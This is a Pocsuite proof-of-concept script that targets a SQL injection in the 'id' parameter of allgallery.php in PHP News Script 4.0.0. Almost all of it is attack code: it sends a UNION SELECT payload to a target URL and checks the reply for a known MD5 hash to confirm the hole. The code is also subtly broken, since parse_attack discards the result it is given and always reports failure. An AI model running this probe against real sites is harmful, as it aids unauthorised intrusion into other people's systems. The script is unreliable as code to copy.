PHP News Script 4.0.0 - SQL Injection

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '89308'
    version = '1'
    author = 'bilibili'
    vulDate = '2015-08-01'
    createDate = '2015-09-06'
    updateDate = '2015-09-06'
    references = ['https://www.exploit-db.com/exploits/37726/']
    name = 'PHP News Script 4.0.0 - SQL 注入漏洞 PoC'
    appPowerLink = 'http://phpnewsscript.com/'
    appName = 'PHP News Script'
    appVersion = '4.0.0'
    vulType = 'SQL injection'
    desc = '''
        由于 allgallery.php 中的参数 id 没有过滤, 导致 sql 注入
    '''
    # the sample sites for examine
    samples = ['']

    def _attack(self):
        result = {}
        # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0'}
        target_url = self.url + '/allgallery.php'
        payload = '?id=-100%27+union+select+md5(0x2333333)'
        response = req.get(target_url + payload)
        if '5e2e9b556d77c86ab48075a94740b6f7' in response.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + '/allgallery.php'
            result['VerifyInfo']['Postdata'] = '-100%27+union+select+md5(0x2333333)'
        return self.parse_attack(result)

    def _verify(self):
        return self._attack()

    def parse_attack(self, response):
        output = Output(self)
        result = {}
        if result:
            output.success(result)
        else:
            output.fail('Internet Nothing returned')

        return output


register(TestPOC)